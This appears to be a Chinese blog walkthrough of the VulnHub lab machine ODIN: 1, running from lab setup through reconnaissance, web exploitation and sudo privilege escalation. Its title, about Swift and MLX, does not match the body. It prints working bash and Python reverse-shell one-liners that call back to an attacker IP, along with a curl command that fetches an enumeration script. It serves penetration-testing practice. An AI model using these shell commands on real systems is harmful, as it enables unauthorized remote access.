Swift + MLX 构建端侧模型与本地 Agent 的完整工具链实战
2026/10/1 12:25:45
打vulnhub靶机这件事，我最大的一个感受是：很多新手不是死在提权上，而是死在最开始那几步。镜像下载好了导入虚拟机，IP怎么都ping不通；或者nmap扫出来了，看着一堆端口却不知道往哪儿使劲。今天拿ODIN: 1这台靶机完整走一遍，从vulnhub靶场搭建到最终拿到root，把每一步为什么要这样做、常见坑在哪都拆开讲。这台机器在vulnhub上属于中等难度，适合已经有基础但是想系统练一遍完整渗透流程的人；如果你是刚接触vulnhub，看完这篇也能少走不少弯路。整台打下来我的体感是：它不考什么花哨的0day，考的是信息收集够不够细、拿到shell之后能不能沉住气做本地枚举。说白了，这就是一场"情报决定成败"的游戏。
1. ODIN: 1是什么级别的靶机？先聊我的单次通关路径
1.1 靶机定位与难度判断
在vulnhub官网搜索框里输入ODIN就能找到这个镜像，下载体积不大，解压后是一个可以直接导入VirtualBox的虚拟机镜像。这类靶机一般会在描述页标注难度和打靶目标，ODIN: 1的定位很明确：练习Web渗透和信息收集，最终目标是拿到root权限。
为什么说它适合拿来练手？因为它的攻击面不算特别宽，端口就那么几个，不像一些高难度靶机一开扫出来十几个端口，每一条都要花时间去验证。ODIN: 1属于那种"线索链条很清晰，但中间任何一个环节马虎了就会卡死"的类型。我见过不少人在提权阶段卡了一下午，回头一看其实是前面漏了一个信息，导致后面完全没有头绪。
另外说个选靶机的小经验：看镜像文件的发布时间。太老的可能环境依赖一堆问题，很多命令跑不起来；太新的又可能涉及一些边缘技术，不适合练基本功。ODIN: 1的镜像格式兼容性做得不错，VirtualBox和VMware导入都不算费劲，这个我后面会细说。
1.2 我的通关路线和时间分配
我实际打完这台机器，从导入镜像到拿到root，整体在正常不卡壳的情况下大约需要一到两个小时。我的路线是这么走的：
- 网络发现，确认靶机IP（这一步花几分钟）
- 端口和服务识别，确定主攻方向（约20分钟）
- Web应用指纹识别和目录枚举，找到缺口（约30分钟）
- 通过Web漏洞拿到初始shell（约20分钟）
- 本地枚举和信息收集，发现提权线索（约40分钟，最耗时）
- 提权到root（约10分钟）
整个过程里最让我印象深刻的不是最后那个root，而是早期的一次误判。当时我扫到一个不起眼的端口，一开始觉得它跟主线没关系，直接忽略了。后来在其他信息里反复看到一个指向它的提示，回头仔细看了才发现，这个被忽略的点恰恰是拉开突破口的关键。这也是我想在文章开头就先强调的：打靶机的时候，不要凭经验或者第一印象去筛选端口和目录，你以为的"噪声"里可能藏着最重要的情报。
2. vulnhub靶场搭建：网络模式选错，后面全是空转
2.1 导入镜像时最容易踩的低级错误
很多人镜像下好了，双击导入虚拟机，开机后屏幕上一堆启动日志，然后就开始卡住。最常见的问题其实不在靶机本身，而在导入这个环节。
第一，下载源。有的镜像在国内网盘上能搜到，但来源不明，不排除被塞了私货的可能。建议直接去官网下载，源文件有校验信息可以用来核对。这个习惯一定要养成，从源头保证靶机的完整性。
第二，用VirtualBox还是VMware。我个人的习惯是：vulnhub的靶机优先用VirtualBox跑。不是因为VMware不行，而是很多镜像在打包时就是以VirtualBox为目标环境做适配的。如果你用VMware打开，经常会遇到一个问题——网络适配器的型号被自动改成了e1000，而靶机内部配置可能只对VirtualBox默认的Intel PRO/1000做了适配，结果就是靶机能启动，但网卡不工作。
如果你确实只有VMware，也不是不能跑，导入后手动改一下虚拟机的网卡类型和网络模式，多试几次通常也能通。但省事的做法还是直接装一个VirtualBox，反正也是免费的。
2.2 NAT、桥接、仅主机到底怎么选
这个问题是新手问得最多的，也是搭建环节最大的分水岭。我用一个表格把三种网络模式讲清楚。
| 网络模式 | 靶机能否访问外网 | 宿主机能否访问靶机 | Kali能否访问靶机 | 适用场景 |
|---|---|---|---|---|
| NAT | 能 | 一般不能直接访问 | 需要端口转发，麻烦 | 靶机需要下载东西时用 |
| 桥接 | 能 | 取决于局域网环境 | 同一局域网内可以 | 真实局域网环境模拟 |
| 仅主机 | 不能 | 能 | 能（挂同一网卡） | 本地打靶首选 |
我推荐的最稳组合是：Kali和靶机都挂在同一个仅主机网卡上，同时Kali再额外加一张NAT网卡用来上网查资料和下载exp。这样靶机完全隔离在本地网络里，不会干扰家里或公司的局域网，Kali也能在需要的时候连到外网。攻击机两张网卡，靶机一张网卡，这个拓扑很干净。
如果你用的是VirtualBox，在"全局工具-网络"里先创建一块仅主机的虚拟网卡，然后分别给Kali和靶机都加到这个网卡上，再把Kali原来的NAT网卡保留，就搞定了。顺序别搞反，先建网卡再分配给虚拟机，不然会找不到目标网络。
2.3 搭建完的快速自检清单
镜像开起来之后，不要急着开扫描器，先花两分钟确认网络通不通。我自己有一套固定的自检顺序：
- 在Kali上执行
ip addr确认攻击机IP，记住自己的网段 - 用
arp-scan -l或者netdiscover -r 网段/24扫一下局域网里有哪些主机 - 找到目标MAC对应的IP（一般vulnhub靶机默认用DHCP自动获取IP，开机就能拿到）
- 用
ping 靶机IP确认基础连通性 - 再用
nmap -sn 靶机IP确认主机在线
如果ping不通，先别急着怀疑人生。到VirtualBox的控制台界面登录靶机，看看启动日志里有没有网络相关的报错，再手动执行dhclient重新获取IP。能进控制台的话，也可以检查一下/etc/network/interfaces或NetworkManager的状态。靶机本身的账户密码一般会在vulnhub描述页里给，或者在登录界面有提示，找一下就行。
这一步自检花不了几分钟，但能帮你省掉后面好几个小时的无效扫描。我见过很多人在这一步翻车后，直接归咎于"镜像坏了"，其实80%的情况是网卡的硬件加速或者混杂模式没开对。
3. 信息收集决定命运：从全网段扫描到CMS指纹识别
3.1 先扫网段再扫端口，别一上来就搞全端口
确认靶机在线之后，进入正式的侦查阶段。我的顺序是：先用nmap -T4 -sV -sC 靶机IP扫常见的1000个端口，把服务版本和默认脚本跑一遍。不要上来就-p-扫所有端口，那样虽然彻底，但很浪费时间，而且输出结果太多反而不好判断重点。
ODIN: 1这台机器开放的服务不多，常规端口一眼就看到头了：一个Web服务，一个SSH，还有一个容易被忽略的端口。很多人看到Web和SSH就惯性思维直接往WordPress上冲，后面那个端口根本没打开看过。
这里想多说一句：nmap的-sC不是可选项，是必选项。默认脚本能帮你收集到很多手工看不出来的信息，比如HTTP的robots.txt内容、SSH的版本和算法、某些服务的banner。这些信息单独看可能没什么，但串在一起就能拼出一个完整的攻击画像。
如果常规扫描结束后没有任何明显突破口，再考虑全端口扫描。命令大概是nmap -p- -T4 --min-rate 5000 靶机IP，把速率拉高，两三分钟就能跑完。但ODIN: 1不需要走到这一步，这是它的仁慈之处。
3.2 Web指纹识别和目录爆破
Web服务是我们最可能要正面突破的地方，所以指纹识别一定要做细。先手工访问一下，看页面长什么样，再curl -I看响应头。响应头里的Server字段、X-Powered-By、生成的Cookie名，全是线索。
如果发现是WordPress站点，那就简单了，直接用wpscan --enumerate ap,at,tt 目标URL枚举插件、主题和用户。wpscan是WordPress靶机的标配工具，跑一轮基本能拿到用户名列表和已知的漏洞插件列表。
但注意，wpscan输出的东西很多，别看到插件名就激动，先确认插件是不是真的启用，再确认版本号。版本信息不一定能从页面直接看到，有时候需要去插件目录下读取readme.txt才能拿到。这个细节很关键，但很多人会跳过，导致后面利用的时候版本对不上，白白浪费时间。
目录爆破也不能跳过。用gobuster dir -u 目标URL -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt扫一下常见路径。WordPress站点的重点路径就那么几个：/wp-content/、/wp-includes/、/wp-admin/。如果目标开启了目录列表，那基本上相当于把源码翻给你看了，这时候就要瞪大眼睛在文件列表里找工作备份、sql导出、隐藏压缩包等敏感文件。
我在打这台机器时，就是从目录列表里看到一个不起眼的备份文件，这个文件后来直接帮我拼凑出了登录凭据。如果没有做目录爆破，这个信息就永远躺在那里，后面怎么枚举都枚举不出来。
3.3 一条容易忽略的线索：邮件、用户名与版本号
信息收集阶段最容易漏掉的是那些非技术类的"人工痕迹"。我在打ODIN: 1的过程中，有几个信息点值得单独拎出来讲。
第一个是用户名收集。WordPress站点的文章作者页面会暴露登录用户名，wpscan也能枚举出来。很多新手收集到用户名之后只拿去试后台密码，其实这个用户名在后面SSH登录、数据库密码复用、甚至提权的时候都可能用到。前期收集用户名的时候不要只记一个，凡是页面上出现过的名字、邮箱前缀、作者昵称，全部记下来。
第二个是站点里的邮件地址。很多靶机会刻意在页面或者源码注释里放一个类似admin@odin.local的地址，这时候就要注意了，这个地址往往暗示了域名的命名规则和用户名格式。你可以推测出完整的主机名、邮箱用户名，甚至用它来尝试SSH登录。
第三个是网站页脚、注释、JS文件里的版本号。这些版本号要跟nmap扫到的服务版本放在一起比对，最终目的是构建一张"版本-漏洞"的对应表。这一步做得越细，后面在漏洞利用阶段就越省事。
我一直觉得，信息收集的产出不应该只停留在脑子里，要写下来。我把扫描结果、用户名列表、可疑路径、版本号全部贴在笔记里，打靶过程中随时往里面补充信息。这样做的好处是，卡壳的时候往回翻笔记，往往能在之前记的一条不起眼的信息里找到线索。
4. 打进Web层：漏洞利用的临门一脚
4.1 确认漏洞版本再动手，别看到插件名就梭哈
信息收集阶段如果发现了可用的插件或组件，下一步就是确认它是不是真的有漏洞可以利用。盲目的做法是：看到插件名，马上打开搜索框找exploit，然后复制粘贴跑一遍。结果大概率是报错或者利用失败，然后你又得回头排查为什么失败，一来一回浪费一小时。
正确的做法是：确认三件事——插件名称、插件版本、是否启用。插件版本可以从插件目录下的readme.txt、页面源码里的版本参数、或者通过wpscan的枚举结果里拿到。确定了版本之后，再用searchsploit 插件名 版本号去本地漏洞库查对应的利用程序。
如果本地没搜到，也可以去网上漏洞库查，但要注意时间线，太老的exploit在现在的环境下经常跑不通。跑不通的时候别死磕，换一条思路试试。比如目标站点的后台没有启用双重验证的情况下，可以考虑用之前枚举到的用户名去做弱口令尝试。很多靶机的后台密码不会设得太复杂，这种"笨办法"反而比找exploit可靠。
我在ODIN: 1上实际的突破路径就是通过Web应用的一个已知漏洞，配合searchsploit里的现成脚本拿到的reverse shell。关键不在于这个漏洞本身多高级，而在于我前面确认了版本、确认了利用条件，一次就成功了。
4.2 从命令执行到反弹shell的稳定姿势
一旦拿到了命令执行权限，比如能通过Web上传PHP文件、编辑主题模板、或者某个参数能直接执行系统命令，第一步千万别急着弹shell，先执行个id和whoami看看当前权限，再用pwd确认一下当前目录。这一步的目的很简单：确认你的命令执行通道是可用的、输出的内容是你期望的。
确认无误后，再执行反弹shell。我常用的命令是：
bash -c 'bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1'在Kali这边，提前用nc -lvnp 监听端口起一个监听。注意监听端口不要选常用端口，不然容易被其他连接干扰。如果 bash 反弹不上来，可以试试Python反弹：
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'还有一种情况是目标机器根本没有 bash 或者被限制在特定目录里，这时候要考虑用目标环境已有的语言来反弹，比如Perl或Ruby。总之反弹shell的姿势要备两三套，一套不通马上换下一套。
4.3 拿到shell之后，先别急着提权
很多人拿到www-data的shell就兴冲冲跑去提权，这是我最不推荐的节奏。低权限shell最该做的是先"落根"，把脚下的土踩实了再想爬高的事。
首先把shell升级成交互式TTY。用python的pty模块：
python3 -c 'import pty;pty.spawn("/bin/bash")'然后按Ctrl+Z把当前会话挂起，在Kali本地执行stty raw -echo; fg，回车之后再设置一下终端大小。这串命令可能看起来有点玄学，其实原理就是把本地终端的原始模式转发给远程shell，让远程的vim、su、top这类程序能正常显示界面。
接下来做的应该是：
- 确认当前用户身份和权限（
id） - 查看
/etc/passwd里有哪些用户（尤其是有登录shell的用户） - 查看当前用户可以读写哪些文件（找web目录、临时目录、home目录）
- 检查环境变量、历史命令记录（
history，以及每个用户home下的.bash_history） - 查看web目录里有没有数据库配置文件、日志文件
我在拿到ODIN: 1的初始shell之后，就是在web目录下翻出了一个配置文件，里面写着数据库连接的明文密码。这个密码没有直接给root，但给我后续的横向和提权提供了很大的帮助。
5. 提权链路：从低权限到root的完整复盘
5.1 枚举脚本怎么选才不浪费时间
本地枚举是提权前最重要的一步，也是最容易让人迷失的一步。我的习惯是用自动化脚本做粗筛，再靠人工去复核重点。
常用的枚举工具有这么几个：
| 工具 | 特点 | 适用场景 |
|---|---|---|
| LinEnum.sh | 输出比较规整，适合逐项查看 | 快速了解当前系统状况 |
| linpeas.sh | 自动化程度高，输出内容多 | 大而全的初筛，亮点会加粗标出 |
| pspy | 监控进程和计划任务 | 怀疑有定时任务时可以盯一段时间 |
很多靶机没有外网连接，Kali里下载好的脚本要先传到靶机上。传文件的方式最常见的是在Kali本地起一个HTTP服务：
cd /usr/share/exploitdb/exploits python3 -m http.server 8080然后在靶机上用curl或wget下载：
curl -O http://攻击机IP:8080/linpeas.sh如果目标是完全隔离的环境，连HTTP都连不通，那就只能把命令一行一行手动敲进去。好在ODIN: 1的环境没那么多幺蛾子，我直接把linpeas传上去跑了。
linpeas跑完，先别看那些红色的高亮就觉得全都能利用，重点看几类信息：当前用户的sudo权限、有哪些文件有SUID位、计划任务列表、以及用户可以写入但root会执行的脚本。这几类是提权的高频入口。
5.2 决定成败的三个隐藏线索
在ODIN: 1上，最后帮我拿下root的线索并不是linpeas自动标出来的，而是下面这三类容易被人忽略的地方。
第一类是/var/mail下的邮件。很多机器上会有一个给root或者某个用户发的本地邮件，里面可能包含系统配置、密码提醒、或者某个服务的初始化信息。很少有人会去看这个目录，但它经常是白送的情报。我当时翻邮件时确实看到了跟业务相关的内容，这验证了我在前面信息收集阶段拿到的一个猜测。
第二类是用户home目录下的.bash_history。如果某个用户曾经在命令行里敲过密码，那历史记录里就是明文。查看历史记录不需要太高权限，普遍情况下/home/用户名/.bash_history是能读的。这条线索的优先级仅次于邮件。
第三类是系统里残留的备份文件。很多人以为备份文件只会出现在web目录里，其实系统的/opt、/var/backups、/tmp下也可能躺着压缩包。用find / -name "*.bak" -o -name "*.zip" -o -name "*.tar.gz"搜一遍，经常有意外之喜。我最终就是通过一个备份文件里的信息，把整个提权链路的最后一块拼图凑齐了。
这三类线索的共性是：它们都不是通过"跑脚本"能发现的，必须人工去看、去翻、去联想。这也是为什么我一直强调提权阶段不能只依赖自动化工具，该翻的地方一个都不能少。
5.3 sudo、计划任务、内核漏洞：三类提权路径的取舍
拿到足够的信息之后，提权路径通常有三条，我在实战中的优先级是这样的。
首选看sudo权限。执行sudo -l，如果当前用户能免密执行某个命令，赶紧去GTFOBins上查这个命令有没有提权姿势。像find、vim、less、more、cp这些常见的命令，基本都有固定的逃逸方法。这条路径成功率最高、风险最小，操作系统版本对它没有太大影响。
次选看计划任务。用cat /etc/crontab或者systemctl list-timers查看有没有root定时运行的脚本。如果脚本所在的目录当前用户可以写入，或者脚本本身没有加写保护，那就可以通过修改脚本来提权。还有更隐蔽的一种情况：脚本内部调用了某个不在绝对路径下的命令，这就可以通过修改PATH环境变量来劫持。
最后才是内核漏洞。我不建议一上来就搞内核提权，一是因为内核漏洞要精确匹配发行版和内核版本，匹配错了轻则提权失败，重则直接把靶机打崩，前面的努力全白费。二是因为靶机设计者在多数情况下不会故意留一个内核漏洞让你去提，如果真的有，那这台机器的重点就不在Web侧了。
在ODIN: 1上，我最终走的是sudo那条路，干净利落，一点风险都没有。这也再次印证了一个道理：打靶过程中凡是能通过配置错误拿下的，优先用配置错误，因为这才是最接近真实场景的提权方式——真实业务环境里，谁会在装了最新内核的服务器上留一个历史内核漏洞让你打？
6. 复盘清单：下次打vulnhub能直接复用的经验
打完收工，梳理一份可以直接落地的清单，也算是我自己多次打靶后的经验沉淀。
第一，搭建阶段先定网络拓扑再开虚拟机。Kali双网卡（NAT + 仅主机），靶机单网卡（仅主机），这是最不容易出错的组合。网络不通时先检查网卡类型，再检查DHCP，别动不动就重装镜像。
第二，信息收集阶段把结果全部文字化。nmap输出、wpscan输出、目录枚举结果、用户名列表、可疑路径，都记录下来。打不过去的时候回头翻记录，比重新扫一遍效率高得多。
第三，漏洞利用前确认版本和利用条件。多花五分钟去验证，能省后面一小时排查问题的时间。
第四，拿到初始shell先做三件事：升级TTY、确认当前权限、翻web目录和用户目录下的配置文件。这三件事做完，你对这台机器的掌握程度会上一个台阶。
第五，提权阶段别梭哈内核，先看sudo，再盯计划任务，最后才考虑内核。同时不要漏了/var/mail、.bash_history、备份文件这三类人工线索。
第六，也是我想特别强调的一点：每打完一台靶机，花半小时写一份自己的writeup。不用发出来，就用自己的话把打靶过程复述一遍，哪里卡壳了、哪里是靠运气试出来的、哪里下次可以做得更快，都写下来。一个月后回看，你会发现自己对渗透流程的理解完全是另一个层次。
vulnhub靶机跟真实渗透最大的区别在于，你提前知道这台机器一定存在一个入口，心态上不容易慌。但也正因为如此，很多人会在虚拟环境里养成"乱试"的坏习惯——这个端口试一圈不行就换下一个，反正不会触发真实告警。我个人的体会是，把每一台靶机都当成一次真实的授权测试来打，每一个操作都问自己一句"我为什么这样做"，练出来的手感才会迁移到真实场景里。ODIN: 1这台机器不算难，但该有的环节一个不少，非常适合用来校准自己的打靶流程。